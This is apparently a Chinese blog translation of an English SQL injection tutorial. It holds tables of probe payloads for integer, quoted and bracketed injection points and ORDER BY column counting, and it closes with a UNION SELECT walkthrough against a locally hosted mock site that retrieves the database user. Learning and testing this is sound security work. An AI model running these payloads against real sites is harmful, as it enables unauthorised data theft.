您当前位置: 首页 » 精彩好文 » 【翻译】sql注入原理与基础分析

【翻译】sql注入原理与基础分析

2017年2月16日 | 发表评论(0) 查看评论

Sql注入估计已经被写烂了,之所以翻译这篇文章也是为了温习一下sql注入。

翻译的一篇老外的文章,文章中老外给的例子网址是http://www.fakesite.com/report.php?id=1111,为了好理解,我完全仿造这个网址搭建了一个环境。

# localhost name resolution is handled within DNS itself.

# 127.0.0.1       localhost

# ::1             localhost

127.0.0.1       www.am0s.com

改了host文件,并且写了下面的代码

现在的环境和老外文章内的差不多了。

在开始这篇文章之前,我们需要来理解一下sqli中的几个不同的注释。

Comment   Name
: MySQL Linux Style
–+ : MySQL Windows Style
# : Hash (URL encode while use)
–+- : SQL Comment
;%00 : Null Byte
` : Backtick

我们现在来测试不同的注入中我们输入的内容会造成什么不一样的结果。在测试之前我们应该知道无论我们输入的是单引号还是双引号,都会造成一个错误,但并不是所有的错误都会造成注入。

Input   Reaction if its Intiger Based Injection
23′ : It should cause error or no output
: Should cause error or no output
23 or 1=1 : Any Output should come but may be different output
23 and 1=1 : Same output should come
23 and false : No output
23 and true : Same Output
23–+ : Same output. I used –+ to comment, later i ll show how to know which one to use
23 and true–+ : Same output

当我们可控的地方没有被单双引号保护的时候,我们按照上面的输入去测试,结果一样的话,说明可以注入。

单引号保护的情况:

Input   Reaction if its Single Qoute Based Injection
23′ : It should cause error or no output
23″ : No error Same output
23′ or ‘1’=’1 : Any Output should come but may be different output
23′ and ‘1’=’1 : Same output should come
23′ and false–+ : No output
23′ and true–+ : Same Output

双引号保护:

Input   Reaction if its Double Qoute Based Injection
23′ : No error Same output
23″ : >It should cause error or no output
23″ or “1”=”1 : Any Output should come but may be different output
23″ and “1”=”1 : Same output should come
23″ and false–+ : No output
23″ and true–+ : Same Output

 

被括号保护:

Input   Reaction if its Intiger Based Bracket enclosed Injection
23′ : It should cause error or no output
: Should cause error or no output
23 or 1=1 : Output should come but may be different output
23 and 1=1 : Output should come but may be different output
23 and false : No output
23 and true : Same Output
23–+ : Error or No output. Here you can understand that any Bracket is used
23)–+ : Same output
23) and false–+ : No output
23) and true–+ : Same output

 

被括号和单引号保护:

Input   Reaction if its bracket enclosed Single Quote based Injection
23′ : It should cause error or no output
23″ : No error Same output
23′ or ‘1’=’1 : Any Output should come but may be different output
23′ and ‘1’=’1 : Any Output should come but may be different output
23′ and false–+ : No output or error
23′ and true–+ : No output or error
23′) and False–+ : No output
23′) and true–+ : Same Output
23′) or true–+ : Output will come but may be different

被括号和双引号保护:

Input   Reaction if its bracket enclosed Double Quote based Injection
23′ : No error Same output
23″ : Error or No output
23″ or “1”=”1 : Any Output should come but may be different output
23″ and “1”=”1 : Any Output should come but may be different output
23″ and false–+ : No output or error
23″ and true–+ : No output or error
23″) and False–+ : No output
23″) and true–+ : Same Output
23″) or true–+ : Output will come but may be different

通过上面的注入,我们可以很轻松的确定注入的类型、数据库类型等,正如我们所知,无论我们如何确定这些内容都离不开三个步骤:

  • 闭合

在上面的说明中,我们很容易理解,如果遇到Select * from tablename where id=(’23’)这种情况的话,我们想注入成功并拿到数据的话,就需要利用23’)这样的输入来闭合,使我们的语句成功执行。

  • 注入

在这部分,我们根据注入的类型和数据库等来进行注入

  • 注释

我们构造了闭合和注入语句后,原语句必定会多出一部分,为了正确执行数据库语句,我们需要把多余的部分注释掉。

Select * from tablename where id='<input>’

当我们访问”http://fakesite.com/report.php?id=23′ order by 1–+” 否认时候,数据库语句执行的是:Select * from tablename where id=’23’ order by 1–+’

我们创建一个数据库,结构如下

当执行

Select f_name,l_name from students where id=1输出:

f_name l_name
Emily watson

当我们使用union进行联合查询的时候

Select f_name,l_name from students where id=1 union select 1,2会输出

f_name l_name
Emily watson
1 2

 

现在我们已经能看到sql注入的可控位置,然后我们把1,2的地方替换成相应的函数,便可以执行数据库函数

Select f_name,l_name from students where id=1 union select database(),user()输出

f_name l_name
Emily watson
fakedb1 fakeuser@localhost

当然,直接使用union select只是在我们知道有多少字段的时候的理想状态。在正常情况下我们不知道目标站的数据库结构,自然也不知道有多少字段。在这种情况下我们可以使用order by 来找到数据库字段数。

Query   Output
select * from students order by 1 : It will output all the rows and sort then by the first column which is id
select * from students order by 2 : It will output all the rows and sort then by the second column which is f_name
select * from students order by 3 : It will output all the rows and sort then by the third column which is l_name
select * from students order by 4 : It will output all the rows and sort then by the forth column which is roll_no
select * from students order by 5 : It will create an error “Unknown column ‘5’ in ‘order clause’
select f_name,l_name from students order by 1 : It will output all the rows and sort then by the first column which is f_name
select f_name,l_name from students order by 2 : It will output all the rows and sort then by the second column which is l_name
select f_name,l_name from students order by 3 : It will create an error “Unknown column ‘3’ in ‘order clause’

 

当我们尝试使用比数据库列多的情况去排序的话就会出现错误。因此我们可以很轻松的利用order by去猜解有多少列。然后在利用union select进行注入。

 

总结:

根据上面的原理和方法进行实战一下。

http://www.am0s.com//report.php?act=single&id=1111

输出正常内容

Array ( [0] => 1111 [1] => [2] => ) Array ( [0] => 1111 [1] => [2] => ) Array ( [0] => 1111 [1] => [2] => )

http://www.am0s.com//report.php?act=single&id=1111’报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1111”’ at line 1

http://www.am0s.com//report.php?act=single&id=1111%27%20%20and%201=1–+

找到合适的注入类型和注释

http://www.am0s//report.php?act=single&id=1111%27%20%20order%20by%203–+

利用order by确定有多少列。当为3的时候正常,4的时候错误,说明有3列。。

http://www.am0s//report.php?act=single&id=1111%27%20union%20select%201,2,user()–+

成功获得数据库用户名

Array ( [0] => 1 [1] => 2 [2] => root@localhost )

分类:

精彩好文

| 标签:

,